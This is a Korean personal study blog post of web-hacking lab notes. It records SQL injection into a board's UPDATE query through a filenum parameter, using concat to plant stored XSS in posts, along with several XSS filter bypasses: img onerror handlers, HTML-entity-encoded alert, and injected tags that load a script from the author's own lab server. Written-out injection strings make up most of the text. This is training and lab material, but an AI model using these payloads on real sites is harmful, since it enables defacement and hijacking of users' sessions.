이미지 다운로드를 클릭하면 다운로드 횟수가 증가하는걸보고 업데이트 유추
이미지다운첫번쨰꺼를 누르고버프수트로
잡았을떄 filenum=1 이거를 2로바꾸면 첨부파일의 두번쨰 꺼가 보이게되는것을보고
filenum=1이서버쿼리의 일부분이되는걸알수있다
모든게시글이 같은 내용으로 수정이된다. 따라서 내가 지정한 게시글만 수정되도록한다.
concat함수를 이용해 그전에 주입했던 스크립트들을 살려두고 또 하나의 스크립트를 넣기위해
(웹해킹 사이트말고 제로보드사이트.)
1 대신
1=10,memo='<script>alert("xsssdkfhweklf")</script>'+where+no=64%23 을 입력
update board set
download1=10,memo='<script>alert("xss")</script>'+where+no=64%23=download1=10,memo='<script>alert('xss')</script>'+where+no=64%23+1
1=10,memo='<script>alert("xss")</script>'+where+no=70%23 입력
요런식ㅇ으로삽입
성공!!!
concat 함수사용
1=10,memo=concat(memo,'<script>alert("attack")</script>')+where+no=64%23
콘캣 함수 특징때매 변경
1=10,memo=concat(memo,'<script>alert\(\"attack\")</script>')+where+no=64%23
update board set
download1=10,memo='<script>alert("xss")</script>'
+where+no=20%23=download1=10,memo='<script>alert("xss")</script>'+where+no=20%23+1
이거를
update board set
download1=10,memo,'<script>alert("attack")</script>'
+where+no=20%23=download1=10,memo='<script>alert("xss")</script>'+where+no=20%23+1
합친당!
1=10,memo,'<script>alert(\"attack\")</script>'
+where+no=20%23
update board set download1=10,memo=concat(memo,'<script>alert("xss")</script>
1=10,memo=concat(memo,'<script>alert\(\"attack\")</script>')+where+no=64%23
주입.
원래 기존내용 유지한체로 스크립트를 삽입.
두개가뜸!!
기존꺼도남기고
concat 은 데이터베이스 내장함수로 언제든 사용이가능하지만
update 같은것은 만든사람이 사용하지않았으면 sql은 불가능한것이다.
'
-------------결론-------------------------
1=10,memo=concat(memo,'<script>alert(\"attack\")</script>')+where+no=64%23
주입.
update board set download1=10,memo='<script>alert('aa')</script>'
그전에했던것은 이거라면
주입이됬을때는
concat에 그전에 했던거와 합쳐서
update board set download1=10,memo=concat(memo,'<script>alert("attack")</script>
데이터베이스 내부에서는 이렇게바뀐다고생각하면된다
concat은 앞에했던 memo 스크립트넣은거와 지금주입하는 스크립트를 합치는 것이라
그전에있던 내용이 사라지지않고 적용이된것이다
' 안에 "넣은거면 원래는 \해도되고 안해도된다.
memo는 칼럼!
\ 이것은 이거 다음에 오는 문자를 그냥 말그대로 문자라고 쓰겠다.
\"이것은 " 문자로나타낸다생각하면댄다.
\" 간장게장 \"
이것은 간장게장이라고 생각하셈
여기서 또
1=10,memo=concat(memo,'<script>alert(\"간장게장\")</script>')+where+no=64%23
주입하면
그전에 햇던것에 추가가되서 3개의 문구가나온다
그럼 memo(1번스크립트,2번스크립트) 그리고 스크립트추가 이런식으로 생각하면된다!!!!!!!!
--------------------------------------------------------------------------------------------------------
다음문제
-------------------------------------------------------------------------------------
script는 사용불가 하지만 oneerror/alert 함수사용가능
원래는 스크립트만으로 공격이 불가능했다
<script>alert("a")</script>
이미지 삽입 태그를 이용해,
이미지 태그 를 악용한다
사진의 소스를 봤을떄
<img src="data/mjc/11.png" onclick="window.open(this.src)">
이태그를 악용한다 현재태그에있는 src를 새창에 뛰우겠다.
<img src="data/mjc/11.png" onclick="window.open(this.src)">
<img src=# onerror=alert('aa')>
#을주면 에러가뜬다
기본경로를 #으로 하면 에러가뜬다
이에러가 떳을떄 뒤에것을 출력한다는 의미.
----------------------------------------------------------------------------------------------------------
2.script는 사용 불가, alert문자열이 필터링이된경우,.
Q&A Board에서
여기를가서
<img src=# onerror=alert('aa')>
<img src=#여기까지는되는데
onerror는 되지않았다
오류가 출력이되지않는다는의미
그래서
alert('aa')
애를
html encoding한다.
alert('aa')
<img src=# onerror=alert('aa')>
<img src=# onerror=alert('aa')>
alert대신에 html 인코딩한것을 삽입한다.
대시보드 글쓰기에 주입.
성공!
--------------------------------------------
다음문제
------------------------
src=객체를 참조하는 태그는 사용가능 하지만 스크립트를 직접 실행하는것은 어려움
<img src=# 이
먹힌다는것을 알았었는데
이걸 악용해보고싶다.
1.칼리 리눅스 웹 서버 경로에
<script>alert('aa')</script>
파일생성
cd /var/www/html
vi xss.js
2.게시글에 글을 쓸떄 게시글 <img src="http://192.168.0.74/xss.js">
img 태그는 사용가능 하지만, script/alert 함수가 사용불가능한경우
Q&A Board에서
192.168.0.74 만 넣어도된다
<img width=0 heght=0 src=# onerror="var s=document.createElement('script'); s.src='http://192.168.0.74/xss.js'; document.getElementsByTagName('head')[0].appendChild(s);"/>
참고로 192.168.0.74/xss.js는
우리가 칼리에서 위에 vi xss.js안에
스크립트를 넣었던거를 지정하는거!
결국에는 이 문장들은.
스크립트 실행기능 전체를 외부로 지정.
차이점아는게 중요
---------------------------------
다음문제
-------------------------------------------------------------------
script는 사용 가능하지만 함수(alert)를 사용불가능한 경우
anonymous board에서 글쓰기
<script>alert('aa')</script>만약 alert함수가 실행안되면
<script type="text/javascript" src="http://192.168.0.81/xss.js"></script>
alert가안먹히니까 본체를 칼리에만든 xss.js에 넣는다
스크립트 내부의 함수만 외부로 지정.!!!!!!!!!!!!!
차이점아는게 중요
성공!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
----------------------------------------------------------------
희명이형 자바스크립트 방법
개발자모드에서
"alert('aa')".split("").map(item => "&#x" + item.charCodeAt(0).toString(16) + ";").join("")
-=----------------------------------------------
'Web hacking' 카테고리의 다른 글
웹해킹 파일업로드 취약점 (0) | 2020.12.01 |
---|---|
csrf(크로스사이트 요청위조),좀비 (0) | 2020.12.01 |
웹해킹.kr 버프슈트 intruder 자동 회원가입등, sqlmap,제로보드 취약점 (0) | 2020.12.01 |
웹해킹 ( beebug,xss공격,beef툴,setoolkit,사용자계정탈취) (0) | 2020.12.01 |
파이썬웹해킹 시작 (0) | 2020.12.01 |